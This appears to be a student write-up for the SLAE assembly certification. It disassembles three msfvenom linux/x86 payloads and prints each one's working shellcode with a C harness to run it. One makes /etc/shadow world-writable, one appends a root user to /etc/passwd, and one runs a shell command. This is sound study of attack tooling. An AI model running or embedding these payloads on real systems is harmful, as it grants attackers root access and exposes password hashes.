0x05 SLAE - Msfvenom samples

Sample 1 - linux/x86/chmod

Introduction

The goal of the assignment 5 is to analyze three shellcode samples in the linux/x86 msfvenom payload list. The first shellcode that I choose is the linux/x86/chmod. The chmod system command on Linux allow to change the permission on a file. From the man page, we have the following description:

chmod changes the file mode bits of each given file according to mode, which can be either a symbolic representation of changes to make, or an octal number representing the bit pattern for the new mode bits.

Let's see what is the options from msfvenom:

From the screenshot above, there is two parameters for the payload chmod. The option FILEand MODE are the basic options that are required to apply chmod on a file.

Compile the shellcode

First thing first, we have to generate the payload with msfvenom. The following command will generate the shellcode in a c array.

msfvenom -p linux/x86/chmod -f c -a x86

Then, we can take the shellcode and insert it in the C program that compile and execute shellcode.

linux-chmod.c
#include<stdio.h>
#include<string.h>

unsigned char code[] =
"\x99\x6a\x0f\x58\x52\xe8\x0c\x00\x00\x00\x2f\x65\x74\x63\x2f"
"\x73\x68\x61\x64\x6f\x77\x00\x5b\x68\xb6\x01\x00\x00\x59\xcd"
"\x80\x6a\x01\x58\xcd\x80";

int main(){
  printf("Shellcode Length:  %d", strlen(code));
  int (*ret)() = (int(*)())code;
  ret();
}

Compiling the linux-chmod.c :

gcc -m32 -fno-stack-protector -z execstack linux-chmod.c -o linux-chmod

We can run the filecommand on the binary to look the details of the binary :

It's indeed an elf compiled for 32 bit architecture and it is not stripped because we kept the debugging information when we compiled it.

Shellcode Analysis

The first step is to use GDB and disassemble the shellcode part. In the C code above, the shellcode is stored in the char array code. To be able to access to this part in the debugging process, we can set a breakpoint to *&code . Before running the binary, we can also disassemble the shellcode part by using the command : disassemble &code.

gdb-peda$ disassemble &code
Dump of assembler code for function code:
   0x00002020 <+0>:	cdq    
   0x00002021 <+1>:	push   0xf
   0x00002023 <+3>:	pop    eax
   0x00002024 <+4>:	push   edx
   0x00002025 <+5>:	call   0x2036 <code+22>
   0x0000202a <+10>:	das    
   0x0000202b <+11>:	gs je  0x2091
   0x0000202e <+14>:	das    
   0x0000202f <+15>:	jae    0x2099
   0x00002031 <+17>:	popa   
   0x00002032 <+18>:	outs   dx,DWORD PTR fs:[esi]
   0x00002034 <+20>:	ja     0x2036 <code+22>
   0x00002036 <+22>:	pop    ebx
   0x00002037 <+23>:	push   0x1b6
   0x0000203c <+28>:	pop    ecx
   0x0000203d <+29>:	int    0x80
   0x0000203f <+31>:	push   0x1
   0x00002041 <+33>:	pop    eax
   0x00002042 <+34>:	int    0x80
   0x00002044 <+36>:	add    BYTE PTR [eax],al
End of assembler dump.
gdb-peda$  

In the disassembly output above, we will analyse what this code is doing. The goal will not be to tell what each lines is doing but more an overview of what is the important part of this shellcode. The first push 0xf equal to 15 in integer which is the syscall number for sys_chmod syscall.

Then, the code below is pretty straight forward. See comment in the code below.

   0x00002023 <+3>:	pop    eax # Put 0xf in eax from the stack
   0x00002024 <+4>:	push   edx # Initialize edx to 0x0
   0x00002025 <+5>:	call   0x2036 <code+22> # Jump to 0x00002036 <+22>:	pop    ebx

Jumping to the address 0x00002036 lead us to the next:

   0x00002036 <+22>:	pop    ebx

If we step line by line with GDB, we can see that the top of the stack there is the address 0xffffce84 which point 0x5666702a which contains : 0x6374652f , 0x6168732f, 0x00776f64. If we transform these value in ASCII from little endian to big endian:

0x6374652f => 0x2f657463 => "/etc"
0x6168732f => 0x2f736861 => "/sha"
0x00776f64 => 0x646f7700 => "dow"

Which is /etc/shadow and if you remember in the introduction, the FILE options was set to /etc/shadow and this is where is come from.

The screenshot above show what I did to obtain the values obtained.

Let's see what else we have.

0x00002037 <+23>:	push   0x1b6 
0x0000203c <+28>:	pop    ecx
0x0000203d <+29>:	int    0x80
0x0000203f <+31>:	push   0x1
0x00002041 <+33>:	pop    eax
0x00002042 <+34>:	int    0x80
0x00002044 <+36>:	add    BYTE PTR [eax],al

The first line, 0x1b6, push to the top of the stack the value 0666 which is the MODE value that was set by default when generating the msfvenom payload. It is important to note that the hexadecimal value 0x1b6 has to be converted to octal per the documentation or the description.

The mode 0666 mean that any users can read and write the file but can't execute it. Then, it put the 0x1b6in ecx since it pop it from the stack : 0x0000203c <+28>: pop ecx

The line +29, call the chmod syscall. Then, it push the value 1 to the top of the stack. And finally, gravefully exit the program since the syscall 1 is the syscall exit.

If we execute the binary, it will change the right in read and write to the file /etc/shadow . Here is the right on the file before.

Running the binary give the following result.

Conclusion

The goal of this assignment was to analyse one of the available payload in the list linux/x86/ of msfvenom. I choose to analyse the linux/x86/chmod shellcode payload and we have seen that the shellcode is relatively simple. This is the part 1 of the assignment 5 since we need to analyse 3 different payload from linux/x86 library.

Sample 2 - linux/x86/adduser

Introduction

The goal of the assignment 5 is to analyze three shellcode samples in the linux/x86 msfvenom payload list. The second shellcode that I choose is the linux/x86/adduser. The adduser system command on Linux allow to add a user in the system. Let's see how the msfvenom payload is adding a user into the system.

Here is a preview of the msfvenom linux/x86/adduser parameters :

From the screenshot above, there is three parameters: PASS, SHELL and USER. The parameters name are obvious here.

Compiling shellcode

Compiling the shellcode was pretty similar as the first shellcode that we analyzed (linux/x86/chmod).

msfvenom -p linux/x86/adduser -f c -a x86

Now we copy the shellcode above and put it in the shellcode C program below to compile it.

linux-adduser.c
#include<stdio.h>
#include<string.h>

unsigned char code[] = 
"\x31\xc9\x89\xcb\x6a\x46\x58\xcd\x80\x6a\x05\x58\x31\xc9\x51"
"\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63"
"\x89\xe3\x41\xb5\x04\xcd\x80\x93\xe8\x28\x00\x00\x00\x6d\x65"
"\x74\x61\x73\x70\x6c\x6f\x69\x74\x3a\x41\x7a\x2f\x64\x49\x73"
"\x6a\x34\x70\x34\x49\x52\x63\x3a\x30\x3a\x30\x3a\x3a\x2f\x3a"
"\x2f\x62\x69\x6e\x2f\x73\x68\x0a\x59\x8b\x51\xfc\x6a\x04\x58"
"\xcd\x80\x6a\x01\x58\xcd\x80";

int main(){
  printf("Shellcode Length:  %d", strlen(code));
  int (*ret)() = (int(*)())code;
  ret();
}

gcc -m32 -fno-stack-protector -z execstack linux-adduser.c -o linux-adduser

Shellcode analysis

The first step is to disassemble the assembly in the *&code function.

gdb-peda$ disassemble &code
Dump of assembler code for function code:
=> 0x56557020 <+0>:	xor    ecx,ecx
   0x56557022 <+2>:	mov    ebx,ecx
   0x56557024 <+4>:	push   0x46
   0x56557026 <+6>:	pop    eax
   0x56557027 <+7>:	int    0x80
   0x56557029 <+9>:	push   0x5
   0x5655702b <+11>:	pop    eax
   0x5655702c <+12>:	xor    ecx,ecx
   0x5655702e <+14>:	push   ecx
   0x5655702f <+15>:	push   0x64777373
   0x56557034 <+20>:	push   0x61702f2f
   0x56557039 <+25>:	push   0x6374652f
   0x5655703e <+30>:	mov    ebx,esp
   0x56557040 <+32>:	inc    ecx
   0x56557041 <+33>:	mov    ch,0x4
   0x56557043 <+35>:	int    0x80
   0x56557045 <+37>:	xchg   ebx,eax
   0x56557046 <+38>:	call   0x56557073 <code+83>
   0x5655704b <+43>:	ins    DWORD PTR es:[edi],dx
   0x5655704c <+44>:	gs je  0x565570b0
   0x5655704f <+47>:	jae    0x565570c1
   0x56557051 <+49>:	ins    BYTE PTR es:[edi],dx
   0x56557052 <+50>:	outs   dx,DWORD PTR ds:[esi]
   0x56557053 <+51>:	imul   esi,DWORD PTR [edx+edi*1+0x41],0x49642f7a
   0x5655705b <+59>:	jae    0x565570c7
   0x5655705d <+61>:	xor    al,0x70
   0x5655705f <+63>:	xor    al,0x49
   0x56557061 <+65>:	push   edx
   0x56557062 <+66>:	arpl   WORD PTR [edx],di
   0x56557064 <+68>:	xor    BYTE PTR [edx],bh
   0x56557066 <+70>:	xor    BYTE PTR [edx],bh
   0x56557068 <+72>:	cmp    ch,BYTE PTR [edi]
   0x5655706a <+74>:	cmp    ch,BYTE PTR [edi]
   0x5655706c <+76>:	bound  ebp,QWORD PTR [ecx+0x6e]
   0x5655706f <+79>:	das    
   0x56557070 <+80>:	jae    0x565570da
   0x56557072 <+82>:	or     bl,BYTE PTR [ecx-0x75]
   0x56557075 <+85>:	push   ecx
   0x56557076 <+86>:	cld    
   0x56557077 <+87>:	push   0x4
   0x56557079 <+89>:	pop    eax
   0x5655707a <+90>:	int    0x80
   0x5655707c <+92>:	push   0x1
   0x5655707e <+94>:	pop    eax
   0x5655707f <+95>:	int    0x80
   0x56557081 <+97>:	add    BYTE PTR [eax],al
End of assembler dump.
gdb-peda$ 

As we can see in the code above, we have the result of the shellcode in assembly generated by msfvenom. I will describe and explain each important part of that assembly code.

The first two lines are necessary to initialize the registers.

xor    ecx,ecx
mov    ebx,ecx

The next lines are calling the syscall setreuid16 to sets real and effective user IDs of the calling process.

push   0x46                ; 0x46 to the top of the stack
pop    eax                 ; put 0x46 in eax (0x46 is the sys_setreuid16 syscall)
int    0x80

Then, there is an interesting part here where the program open the file /etc/passwd for writing or creating it if it doesn't exist.

; call sys_open to open /etc/passwd file and create the file if doesn't exist with flags 0x401
push   0x5                 ; push 0x5 to the top of the stack
pop    eax                 ; put 0x5 in eax
xor    ecx,ecx             ; set ecx to 0
push   ecx                 ; push 0 to the top of the stack
push   0x64777373          ; push 0x64777373 to the top of the stack => sswd
push   0x61702f2f          ; push 0x61702f2f to the top of the stack => //pa
push   0x6374652f          ; push 0x6374652f to the top of the stack => /etc
mov    ebx,esp             ; move "/etc//passwd" in ebx
inc    ecx                 ; increment ecx to 1, ecx become 0x1
mov    ch,0x4              ; mov 4 in ch => ecx is now => 0x401 => hex to int (0x401) => (1025)
int    0x80                ; syscall sys_open from 0x05 => int open(const char *pathname, int flags) open("/etc//passwd", 1025)

After the syscall of sys_open, the program need to keep the file descriptor.

; put the return value in ebx (file descriptor)
xchg   ebx,eax             ; exchange value in ebx to eax and eax to ebx
call   0x2073 <code+83>    ;  call 0x56557073 (+83)

The next assembly code are not necessary to show it since it's the construction of the line to add in /etc/passwd. Here we can see the full line by outputting the result in gdb.

As we can see in the image below, the user metasploit as it was configured in the options of the payload is there. So, from the address 0x5655704b to 0x56557072 is the construction of the string metasploit:Az/dIsj4p4IRc:0:0::/:/bin/sh\nY\213Q\374j\004X̀j\001X̀ .

After that part, the shellcode will put the constructed string above into the register ecx.

pop    ecx                          ; put "metasploit:Az/dIsj4p4IRc:0:0::/:/bin/sh\nY\213Q\374j\004X̀j\001X̀" in ecx
mov    edx,DWORD PTR [ecx-0x4]      ; mov "metasploit:Az/dIsj4p4IRc:0:0::/:/bin/sh" in edx

Finally, it will write this line in /etc/passwd and gracefully exit the program.

; write to /etc/passwd
push   0x4                 ; sys_write call ssize_t write(int fd, const void *buf, size_t count);
pop    eax                 ; put /etc//passwd in eax
int    0x80                ; call the syscall

; exit
push   0x1                 ; sys_exit call
pop    eax                 ; sys_exit(1)
int    0x80                ; call the syscall

Running the binary, give us the following result:

Conclusion

The goal of this assignment was to analyse one of the available payload in the list linux/x86/ of msfvenom. I choose to analyse the linux/x86/useradd shellcode payload and we have seen that the shellcode is pretty straight forward. This is the part 2 of the assignment 5 since we need to analyse 3 different payload from linux/x86 library.

Sample 3 - linux/x86/exec

Introduction

The goal of the assignment 5 is to analyze three shellcode samples in the linux/x86 msfvenom payload list. The third shellcode that I choose is the linux/x86/exec. The exec system call allow to run a command on the system. Let's see how the msfvenom payload is running the command into the system.

Here is a preview of the msfvenom linux/x86/exec parameters :

As we can see on the screenshot above, there is a command to specify and this is the command that the syscall exec will execute.

Compiling the shellcode

First, we need to generate the shellcode with the following command:

msfvenom --payload linux/x86/exec cmd=whoami -f c -a x86

linux-exec.c
#include<stdio.h>
#include<string.h>

unsigned char code[] = "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68"
"\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x07\x00\x00\x00\x77"
"\x68\x6f\x61\x6d\x69\x00\x57\x53\x89\xe1\xcd\x80";

int main(){
  printf("Shellcode Length:  %d", strlen(code));
  int (*ret)() = (int(*)())code;
  ret();

}

gcc -m32 -fno-stack-protector -z execstack linux-exec.c -o linux-exec

Shellcode analysis

Let's disassemble the code function with disassemble &code

gdb-peda$ disassemble &code
Dump of assembler code for function code:
   0x00002020 <+0>:	push   0xb
   0x00002022 <+2>:	pop    eax
   0x00002023 <+3>:	cdq    
   0x00002024 <+4>:	push   edx
   0x00002025 <+5>:	pushw  0x632d
   0x00002029 <+9>:	mov    edi,esp
   0x0000202b <+11>:	push   0x68732f
   0x00002030 <+16>:	push   0x6e69622f
   0x00002035 <+21>:	mov    ebx,esp
   0x00002037 <+23>:	push   edx
   0x00002038 <+24>:	call   0x2044 <code+36>
   0x0000203d <+29>:	ja     0x20a7
   0x0000203f <+31>:	outs   dx,DWORD PTR ds:[esi]
   0x00002040 <+32>:	popa   
   0x00002041 <+33>:	ins    DWORD PTR es:[edi],dx
   0x00002042 <+34>:	imul   eax,DWORD PTR [eax],0xe1895357
   0x00002048 <+40>:	int    0x80
   0x0000204a <+42>:	add    BYTE PTR [eax],al
End of assembler dump.
gdb-peda$ 

The assembly code is not that big. Let's divide it by section as we did for the past msfvenom payload analysis.

The first section before the call instruction does some manipulation:

push   0xb                        ; push 0xb to the top of the stack
pop    eax                        ; put 0xb in eax which is 11 syscall sys_execve
cdq                               ; Convert Doubleword to Quadword
push   edx                        ; push 0x0 to the top of the stack
pushw  0x632d                     ; push "-c" to the stack and to ESP
mov    edi,esp                    ; mov value from esp to edi
push   0x68732f                   ; push "/sh" to the top of the stack
push   0x6e69622f                 ; push "/bin" to the top of the stack
mov    ebx,esp                    ; mov "/bin/sh" in ebx
push   edx                        ; push 0x0 to top of the stack

Then, the call instruction will push "/bin/sh" in the stack.

; assembly code from call instruction 0x2045
push   edi                        ; push "-c" to the top of the stack
push   ebx                        ; push /bin/sh in the stack
mov    ecx,esp                    ; push /bin/sh in ecx

The assembly code between the call instruction and the push edi (from 0x0000203d <+29> to 0x00002042 <+34>) is pushing the value "whoami" which is the command that we put in the options CMD in msfvenom. We can see the following assembly code :

; will push the address 0xffffce26 that contain the string whoami in the EDI register
ja     0x20a7
outs   dx,DWORD PTR ds:[esi]
popa
ins    DWORD PTR es:[edi],dx
imul   eax,DWORD PTR [eax],0xe1895357

At the final instruction, syscall 0x80, the stack look like this :

The addess 0xffffce26 point to another address:

So, the last line of assembly code will prepare the stack to do the syscall sys_execve.

; assembly code from call instruction 0x2045
push   edi                        ; push -c to the top of the stack
push   ebx                        ; push /bin/sh in the stack
mov    ecx,esp                    ; push /bin/sh in ecx

int    0x80                       ; call execve("/bin/sh", ["/bin/sh", "-c", "whoami"], 0)

Finally, the command call that the linux/x86/exec will do is : execve("/bin/sh", ["/bin/sh", ["/bin/sh", "-c", "whoami"], 0)

Running the binary give the following result:

Which is exactly what we were expecting.

Conclusion

The goal of this assignment was to analyse one of the available payload in the list linux/x86/ of msfvenom. I choose to analyse the linux/x86/exec shellcode payload and we have seen that the shellcode is doing some manipulation. This is the part 3 of the assignment 5 since we need to analyse 3 different payload from linux/x86 library.

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert Certification

http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: SLAE-1374

Last updated